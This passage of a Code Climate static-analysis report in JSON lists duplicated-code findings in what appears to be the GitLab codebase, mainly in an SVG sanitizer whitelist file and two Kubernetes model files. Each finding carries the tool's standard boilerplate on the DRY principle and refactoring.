p76\n"},"fingerprint":"8f8e7cbf1a02ae8fa5ae5397530797b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":42,"end":42}},"remediation_points":1130000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":41,"end":41}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":58,"end":58}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":59,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8f8e7cbf1a02ae8fa5ae5397530797b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":58,"end":58}},"remediation_points":1130000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":41,"end":41}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":42,"end":42}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":59,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8f8e7cbf1a02ae8fa5ae5397530797b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":59,"end":59}},"remediation_points":1130000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":41,"end":41}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":42,"end":42}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":58,"end":58}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8f8e7cbf1a02ae8fa5ae5397530797b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":30,"end":30}},"remediation_points":1610000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":31,"end":31}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":95,"end":95}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 98**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"22a2073b162b635650c424f759625ae1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":31,"end":31}},"remediation_points":1610000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":30,"end":30}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":95,"end":95}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 98**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"22a2073b162b635650c424f759625ae1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":95,"end":95}},"remediation_points":1610000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":30,"end":30}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":31,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 98**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"22a2073b162b635650c424f759625ae1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":65,"end":78}},"remediation_points":930000,"other_locations":[{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":107,"end":120}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4b2ec9ed4e92599e6bbba9a4a97ebeb0","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":107,"end":120}},"remediation_points":930000,"other_locations":[{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":65,"end":78}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0c7ce0e1a2c6b9abe1956a85bf8e6e52","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":40,"end":40}},"remediation_points":1350000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":72,"end":72}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":78,"end":78}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 85**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2f55aade2bccc69344fa093ec61a30db","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":72,"end":72}},"remediation_points":1350000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":40,"end":40}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":78,"end":78}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 85**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2f55aade2bccc69344fa093ec61a30db","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":78,"end":78}},"remediation_points":1350000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":40,"end":40}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":72,"end":72}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 85**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2f55aade2bccc69344fa093ec61a30db","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":75,"end":75}},"remediation_points":1230000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":79,"end":79}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":97,"end":97}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 79**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9473b40c2cb0f7afc9308169cf2dced6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":79,"end":79}},"remediation_points":1230000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":75,"end":75}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":97,"end":97}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 79**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* 